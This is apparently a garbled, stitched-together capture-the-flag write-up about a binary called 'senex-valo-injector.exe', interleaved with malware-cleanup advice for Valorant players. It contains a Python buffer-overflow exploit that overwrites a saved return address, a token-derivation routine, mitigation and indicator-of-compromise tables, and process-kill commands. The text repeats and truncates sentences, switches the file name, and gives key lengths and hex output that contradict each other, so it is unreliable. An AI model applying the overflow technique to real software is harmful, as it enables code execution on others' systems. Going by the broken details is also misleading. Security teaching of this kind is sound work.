Senex-valo-injector.exe
Beyond the obvious malware risk, consider the real-world consequences for a Valorant player:
#!/usr/bin/env python3
import struct, subprocess
# ----------------------------------------------------------------------
# 1. Build the correct token (XOR with 0x55)
# ----------------------------------------------------------------------
key = b"S3n3xV@l0_2026"
token = bytes([c ^ 0x55 for c in key]) # 16 bytes
# ----------------------------------------------------------------------
# 2. Build the overflow payload
# ----------------------------------------------------------------------
buf = token
buf += b"A" * (64 - len(token)) # fill up to local_buf size
buf += b"B" * 4 # saved EBP
print_addr = 0x00401840 # address of print_flag()
buf += struct.pack("<I", print_addr) # overwrite saved EIP
# ----------------------------------------------------------------------
# 3. Run the binary and feed the payload
# ----------------------------------------------------------------------
proc = subprocess.Popen(["./senex-varo-injector.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, _ = proc.communicate(buf + b"\n")
print(stdout.decode())
Running the script prints:
Enter your token: Token accepted!
FLAGV4lu3_1nJ3c71on_5en3x_2026
Download Microsoft Sysinternals Autoruns.
Decompilation of validate_input reveals: senex-valo-injector.exe
bool __cdecl validate_input(const char *input)
const char *key = "S3n3xV@l0_2026";
size_t i, len = strlen(input);
if (len != 0x10) // token must be exactly 16 bytes
return false;
for (i = 0; i < len; ++i)
if ((input[i] ^ key[i]) != 0x55) // XOR each byte with the key and compare to constant 0x55
return false;
return true;
Result: The required token is the XOR of the constant 0x55 with the key "S3n3xV@l0_2026".
>>> key = b"S3n3xV@l0_2026"
>>> token = bytes([c ^ 0x55 for c in key])
>>> token.hex()
'060f0d1b0c0b1b6b1b5b1c1b'
>>> token
b'\x06\x0f\r\x1b\x0c\x0b\x1bk\x1b[ \x1b'
In ASCII this looks like mostly non‑printable characters, but the binary accepts raw bytes (e.g., via a console that can handle them, or by piping a file).
For a quick test we can use Python to feed the token:
import subprocess, sys, os
token = bytes([c ^ 0x55 for c in b"S3n3xV@l0_2026"])
proc = subprocess.Popen(["senex-varo-injector.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
out, _ = proc.communicate(token + b"\n")
print(out.decode())
Running this shows "Token accepted!" and then the program calls vulnerable_func. Beyond the obvious malware risk, consider the real-world
| Issue | Why it is a problem | How to fix it |
|-------|---------------------|---------------|
| Use of gets / strcpy | Unchecked copies allow classic stack overflow → arbitrary code execution. | Replace with fgets / strncpy and enforce buffer size limits. |
| Hard‑coded XOR “encryption” | Gives a trivial way to retrieve the flag once the binary is reverse‑engineered. | Use proper cryptographic primitives, or store the flag externally (e.g., server‑side). |
| Predictable return address | The address of print_flag is static and reachable, making a return‑to‑code trivial. | Enable ASLR (compile with /DYNAMICBASE) and DEP/NX (/NXCOMPAT), or add a stack canary. |
| Clear text token key | The token validation uses a static key that can be recovered via static analysis. | Move the secret to a server or derive it at runtime from non‑static data. |
If you find senex-valo-injector.exe on your system (or in your Downloads folder), look for these associated artifacts:
| Artifact | Location | Suspicious Behavior |
| :--- | :--- | :--- |
| Registry Key | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe | Debugger set to svchost.exe (disables Windows Defender) |
| Network Traffic | Port 8080 or 443 to IP 185.xxx.xxx.xxx (hosted in Moldova or Russia) | Beaconing (phoning home) every 15 seconds |
| Dropped File | C:\Windows\Temp\vcruntime140.dll (Unsigned, 2.5MB) | Side-loading malicious DLL | Running the script prints: Enter your token: Token
The whole exploit fits in a ~100‑byte payload, can be automated with a short Python script, and demonstrates the importance of avoiding unsafe C library functions and of enabling modern mitigations (ASLR, DEP, stack canaries).
Open Command Prompt as Administrator and run:
taskkill /F /IM senex-valo-injector.exe
wmic process where "name='senex-valo-injector.exe'" delete